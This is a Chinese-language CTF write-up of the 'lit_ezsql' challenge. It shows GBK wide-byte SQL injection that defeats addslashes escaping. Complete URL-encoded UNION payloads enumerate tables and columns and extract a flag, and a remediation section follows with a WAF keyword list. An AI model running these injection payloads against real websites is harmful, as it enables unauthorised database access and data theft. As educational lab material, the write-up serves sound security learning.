【LitCTF2026】lit_ezsql

【LitCTF2026】lit_ezsql

  • [【LitCTF2026】lit_ezsql------GBK 宽字节 SQL 注入利用](#【LitCTF2026】lit_ezsql——GBK 宽字节 SQL 注入利用)
    • [一、前置基础:字符型 SQL 注入](#一、前置基础:字符型 SQL 注入)
    • 二、黑盒发现查询参数
    • [三、黑盒测试普通 SQL 注入](#三、黑盒测试普通 SQL 注入)
      • [1. 测试数字型表达式](#1. 测试数字型表达式)
      • [2. 测试单引号闭合](#2. 测试单引号闭合)
    • 四、黑盒定位宽字节注入
      • [1. 为什么会想到尝试宽字节](#1. 为什么会想到尝试宽字节)
      • [2. 测试宽字节单引号](#2. 测试宽字节单引号)
      • [3. 使用 UNION 作为可观察的验证条件](#3. 使用 UNION 作为可观察的验证条件)
      • [4. 宽字节注入完整字节流原理](#4. 宽字节注入完整字节流原理)
    • 五、辅助确认后端SQL语句
    • 六、获取当前数据库名
    • 七、枚举数据库全部数据表
    • 八、枚举flag_store数据表的字段
    • 九、读取最终Flag值
    • 十、完整攻击链路与知识点总结
      • [1. 完整攻击利用链](#1. 完整攻击利用链)
      • [2. 漏洞代码层成因讲解](#2. 漏洞代码层成因讲解)
      • [3. 核心知识点总结](#3. 核心知识点总结)
    • 十一、详细漏洞修复方案
      • [1. 根除方案:使用预编译参数化查询](#1. 根除方案:使用预编译参数化查询)
      • [2. 修复编码漏洞:全站统一 UTF-8 编码](#2. 修复编码漏洞:全站统一 UTF-8 编码)
      • [3. 废弃无效防护:删除 addslashes](#3. 废弃无效防护:删除 addslashes)
      • [4. 业务层白名单过滤](#4. 业务层白名单过滤)
      • [5. 数据库最小权限加固](#5. 数据库最小权限加固)
      • [6. 关闭调试信息泄露](#6. 关闭调试信息泄露)
      • [7. 临时应急缓解(无法改代码时使用)](#7. 临时应急缓解(无法改代码时使用))

【LitCTF2026】lit_ezsql------GBK 宽字节 SQL 注入利用


一、前置基础:字符型 SQL 注入

题目页面提供了一个根据 id 查询数据的表单。假设后端代码类似:

python 复制代码
sql = "SELECT id,name,col2,col3,col4 FROM users WHERE id='%s'" % id

如果用户输入没有经过处理,正常输入:

text 复制代码
1

会形成:

sql 复制代码
WHERE id='1'

如果输入:

text 复制代码
1' OR '1'='1'-- -

则可能形成:

sql 复制代码
WHERE id='1' OR '1'='1'-- -'

其中:

  • 第一个单引号用于闭合原字符串;
  • OR '1'='1' 使条件恒真;
  • -- - 注释掉后面的内容。

这种注入方式称为字符型 SQL 注入

但是,如果后端会在单引号前添加反斜杠,例如:

text 复制代码
'  ->  \'

那么输入的单引号就会被当作字符串内容,普通的字符型注入会失效。


二、黑盒发现查询参数

打开目标页面后,只看到一个 id 输入框。首先从功能本身判断请求方式,提交 1 后得到:

text 复制代码
GET /query?id=1

访问:

text 复制代码
/query?id=1

返回一条用户记录:

text 复制代码
id=1
name=alice
col2=visitor
col3=none
col4=none

再测试不存在的值:

text 复制代码
/query?id=0

页面提示没有查询结果,说明 id 参数确实参与了后端查询。


三、黑盒测试普通 SQL 注入

1. 测试数字型表达式

先输入不带引号的常见 Payload:

text 复制代码
1 OR 1=1

结果仍然只返回 id=1 的记录,没有返回所有数据。

这说明参数很可能被放进了单引号中,输入整体被当成了字符串,而不是直接拼接成数字条件。

2. 测试单引号闭合

接着测试:

text 复制代码
1'

页面仍然返回 id=1 的记录,没有出现预期的 SQL 报错。

再测试经典字符型注入:

text 复制代码
1' OR '1'='1

结果依旧没有出现全表数据。

继续测试带注释的形式:

text 复制代码
1' OR 1=1-- -

仍然无法得到注入结果。

此时可以得到一个重要判断:

  1. 参数应该是字符型 SQL 查询;
  2. 单引号没有直接打破原有查询;
  3. 后端很可能对特殊字符进行了反斜杠转义;
  4. 需要进一步考虑编码层面的绕过,而不是继续盲目修改 OR 1=1

四、黑盒定位宽字节注入

1. 为什么会想到尝试宽字节

当单引号被转义成 \' 后,传统 Payload 会失效。对于 MySQL 类环境,常见的下一步测试方向包括:

  • 编码转换;
  • 宽字节注入;
  • 双重 URL 编码;
  • 注释和空白符变形;
  • 其他转义绕过。

宽字节注入的核心思路是:让数据库把"前一个字节 + 被添加的反斜杠"识别成一个多字节字符,从而使反斜杠失去转义作用。


2. 测试宽字节单引号

对常见的 GBK 前导字节进行测试,例如:

text 复制代码
%81%27
%A1%27
%BF%27
%DF%27

其中 %27 是单引号。单独测试时,页面不一定会直接显示明显的错误,因此还需要将它放进可观察的 UNION 查询中验证。


3. 使用 UNION 作为可观察的验证条件

我们的目标是验证是否成功闭合SQL字符串,同时确定查询返回的列数。

构造一个查询结果为空的值 -1,拼接 UNION SELECT 手动填充5个常量作为回显标记:

sql 复制代码
-1' UNION SELECT 1,2,3,4,5-- -

直接提交这条明文语句会被后端 addslashes 将单引号转义为 \',注入失效。

宽字节注入需要手动在单引号前增加高位字节 %DF,再对剩余特殊字符执行URL编码,最终可访问请求:

text 复制代码
/query?id=-1%DF%27+UNION+SELECT+1%2C2%2C3%2C4%2C5--+-

页面返回内容:

text 复制代码
1 | 2 | 3 | 4 | 5

该回显可以同时确认3个结论:

  1. %DF%27 成功吃掉转义反斜杠,完成字符串闭合,绕过单引号防护;
  2. UNION SELECT 语句被MySQL正常解析执行;
  3. 原始SQL查询一共返回 5个字段,后续联合查询必须严格保持5列结构。

使用 -1 的目的:让前面原生SQL WHERE id='xxx' 查询不到任何数据,页面只会展示我们可控的UNION返回值,方便观察注入结果;-- - 是SQL注释符,舍弃闭合后多余的单引号与后续SQL语句。


4. 宽字节注入完整字节流原理

用户提交的URL参数解码后的原始字节:

0x2D 0x31 0xDF 0x27(对应字符:-1 + 高位字节0xDF + 单引号'

后端防护函数对单引号0x27添加转义符反斜杠0x5C,处理完成后的字节序列变为:

text 复制代码
0xDF  0x5C  0x27
 DF    \     '

MySQL当前连接字符集为 GBK,GBK采用双字节编码规则:

  • 0xDF 0x5C 被数据库识别为一个完整合法的GBK汉字
  • 反斜杠 0x5C 不再具备SQL转义功能,被合并进汉字;
  • 剩余独立字节 0x27(单引号)成为真正的字符串结束符。

后端原本拼接的SQL逻辑:

sql 复制代码
WHERE id='-1\' UNION SELECT ...'

经过GBK解析之后,语义被篡改,成功执行联合注入:

sql 复制代码
WHERE id='-1運' UNION SELECT 1,2,3,4,5-- - '

补充说明:%DF 不是随意选择的字符,测试时需要批量遍历GBK可用高字节(%81%A1%BF%DF)逐个探测,最终通过UNION回显确认%DF可成功利用。在线URL编码工具无法自动生成该Payload,高位字节需要人工拼接。


五、辅助确认后端SQL语句

黑盒测试阶段尝试探测额外参数,追加 debug=1

text 复制代码
/query?id=1&debug=1

页面泄露完整执行SQL:

sql 复制代码
SELECT `id`,`name`,`col2`,`col3`,`col4`
FROM `ezsql`.`users`
WHERE id='1'
LIMIT 50

提交普通单引号payload后,调试页面展示转义结果:

sql 复制代码
WHERE id='1\''

日志直观证明后端开启了转义防护,单引号自动添加反斜杠。

即便不存在debug调试接口,我们也可以依靠「普通注入失败 + %DF%27联合查询成功」的行为特征,判断宽字节注入漏洞,不需要依赖SQL泄露。


六、获取当前数据库名

确认注入可用后,修改联合查询的第二列,替换为MySQL内置函数 database() 读取当前库名:

原始SQL语句

sql 复制代码
-1' UNION SELECT 1,database(),3,4,5-- -

完整URL编码请求(手动拼接%DF,其余字符使用RFC标准%20空格编码)

text 复制代码
/query?id=-1%DF%27%20UNION%20SELECT%201%2Cdatabase%28%29%2C3%2C4%2C5--%20-

页面回显结果:

text 复制代码
ezsql

得到当前数据库名称:ezsql


七、枚举数据库全部数据表

利用系统库 information_schema.tables 查询当前库内所有表名

原始SQL语句

sql 复制代码
-1' UNION SELECT 1,
group_concat(table_name),
3,4,5
FROM information_schema.tables
WHERE table_schema=database()
-- -

URL编码后的请求链接

text 复制代码
/query?id=-1%DF%27%20UNION%20SELECT%201%2Cgroup_concat%28table_name%29%2C3%2C4%2C5%20FROM%20information_schema.tables%20WHERE%20table_schema%3Ddatabase%28%29--%20-

返回结果:

text 复制代码
users,flag_store

筛选目标敏感表:flag_store


八、枚举flag_store数据表的字段

绕过引号过滤技巧:使用十六进制值 0x666c61675f73746f7265 代替字符串 'flag_store',避免再次使用单引号。

原始SQL语句

sql 复制代码
-1' UNION SELECT 1,
group_concat(column_name),
3,4,5
FROM information_schema.columns
WHERE table_schema=database()
AND table_name=0x666c61675f73746f7265
-- -

URL编码请求

text 复制代码
/query?id=-1%DF%27%20UNION%20SELECT%201%2Cgroup_concat%28column_name%29%2C3%2C4%2C5%20FROM%20information_schema.columns%20WHERE%20table_schema%3Ddatabase%28%29%20AND%20table_name%3D0x666c61675f73746f7265--%20-

0x666c61675f73746f7265 等价字符串:flag_store

页面返回字段:

text 复制代码
id,flag

目标字段:flag_store.flag


九、读取最终Flag值

构造Payload读取flag字段全部内容

原始SQL语句

sql 复制代码
-1' UNION SELECT 1,
group_concat(flag),
3,4,5
FROM ezsql.flag_store
-- -

完整可直接访问的请求地址

text 复制代码
/query?id=-1%DF%27%20UNION%20SELECT%201%2Cgroup_concat%28flag%29%2C3%2C4%2C5%20FROM%20ezsql.flag_store--%20-

页面回显flag:

text 复制代码
flag{kkvxy7jm-kx3x-4pl-82f7-bmtcrpifthip3}

十、完整攻击链路与知识点总结

1. 完整攻击利用链

text 复制代码
1. 发现站点 /query?id= 可控GET参数,存在SQL字符串拼接查询点
2. 常规单引号 1' 注入被转义失效,初步判断存在 addslashes 防护
3. 利用 debug=1 泄露后端SQL,确认参数被单引号包裹、存在转义行为
4. 结合 MySQL+GBK 环境特征,判定存在宽字节注入漏洞
5. 测试高位字节字典,确定 %DF%27 可吃掉反斜杠成功闭合SQL
6. 构造5列UNION查询,确认字段数量、验证注入完全可用
7. 调用 database() 函数枚举当前数据库:ezsql
8. 查询 information_schema.tables 枚举所有表:users、flag_store
9. 十六进制绕过单引号,枚举 flag_store 表字段:id、flag
10. 查表获取 flag 字段内容,拿到最终 FLAG

2. 漏洞代码层成因讲解

后端不安全源码逻辑(漏洞根源):

php 复制代码
// 危险写法:直接拼接用户输入
$sql = "SELECT id,name,col2,col3,col4 FROM users WHERE id='$id'";

程序为了防注入,使用了错误的防护方式

php 复制代码
$id = addslashes($_GET['id']);

漏洞叠加原因:

  1. SQL字符串拼接:用户输入直接参与SQL语法构造,是注入根本源头。
  2. addslashes 防护缺陷 :只会固定把 ' 转为 \',属于字符级浅层防护。
  3. 数据库GBK编码 :MySQL连接编码为GBK,允许两字节合成一个汉字
  4. 攻击者可控高位字节
    传入 %DF%27
    服务端转义后变成:%DF%5C%27
    MySQL(GBK) 将 DF 5C 解析为一个完整汉字
    反斜杠被吃掉,剩下 %27 单引号成功闭合SQL

3. 核心知识点总结

  • 字符型SQL注入:参数被单引号包裹,可控输入可破坏SQL结构。
  • 宽字节注入原理:GBK双字节编码特性绕过 addslashes 转义防护。
  • URL编码细节:GET参数中 +%20 等效,均为空格,不影响漏洞利用。
  • UNION 联合查询:必须严格匹配原查询字段数量,否则无法回显数据。
  • MySQL 渗透流程:通过 information_schema 系统库逐层枚举库、表、字段。
  • 调试接口危害:debug=1 泄露SQL源码,极大降低攻击难度。

十一、详细漏洞修复方案

1. 根除方案:使用预编译参数化查询

危险代码

php 复制代码
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id='$id'";

安全修复代码

php 复制代码
$sql = "SELECT * FROM users WHERE id=:id";
$stmt = $pdo->prepare($sql);
$stmt->bindParam(":id", $_GET['id']);
$stmt->execute();

修复原理

预编译将「SQL语句结构」和「用户参数」完全分离,无论传入任何恶意Payload,只会被当作纯参数值 ,永远不会被数据库解析为SQL语句,彻底杜绝所有SQL注入(含宽字节注入)


2. 修复编码漏洞:全站统一 UTF-8 编码

废弃项目GBK数据库连接配置:

php 复制代码
// 移除
$pdo->exec("SET NAMES GBK");

// 改为
$pdo->exec("SET NAMES utf8mb4");

修复原理

UTF-8 无"高低字节拼接"特性,不存在吃掉反斜杠的条件,从底层彻底废掉宽字节注入漏洞


3. 废弃无效防护:删除 addslashes

addslashes 在GBK环境完全失效,属于伪防护,必须直接删除,不能作为防御手段。


4. 业务层白名单过滤

该接口 id纯数字参数,后端强制校验:

php 复制代码
if(!is_numeric($_GET['id'])){
    die("非法参数");
}

严格限制输入格式,杜绝编码字符、特殊符号进入后端逻辑。


5. 数据库最小权限加固

  1. 网站业务账号禁止访问 information_schema
  2. 禁止跨库查询权限
  3. 禁止文件导出、高权限操作
    即使存在注入漏洞,攻击者也无法枚举库表、无法脱库。

6. 关闭调试信息泄露

生产环境禁用 debug 调试参数,关闭SQL报错详情、堆栈信息输出,防止泄露后端SQL结构,阻断黑盒测试辅助信息。


7. 临时应急缓解(无法改代码时使用)

  1. WAF 拦截 UNION、SELECT、information_schema、database() 等注入关键字
  2. 拦截 %DF%81 等异常高位GBK攻击字节
  3. 过滤非常规URL编码字符
相关推荐
LayZhangStrive1 小时前
数据结构与算法 - 堆排序
java·数据结构·算法·排序算法·堆排序·大根堆
是2的10次方啊1 小时前
线程 Dump 还是 Heap Dump?线上故障时先抓哪个
java
Zane19941 小时前
复制算法明明要浪费一半内存,为什么新生代还偏偏用它
java·后端
worilb1 小时前
Java/JVM 常见诊断文件对比
java·开发语言
toolsmith1 小时前
AI能替你读代码,但替代不了你积累洞察力:一次YouTrack逆向实战全记录
java·源码阅读
步行cgn1 小时前
Spring Boot 绑定简单 Bean 详解
java·spring boot·后端
鹿角片ljp1 小时前
我如何用 Frontend Design Skill 重构平台
java
未秃头的程序猿1 小时前
分库分表一年后,我复盘了当时最该想清楚的三件事
java·数据库·后端
岁月如歌77861 小时前
顺序消息与幂等消费完全指南:从队列有序到接口幂等
java·后端·架构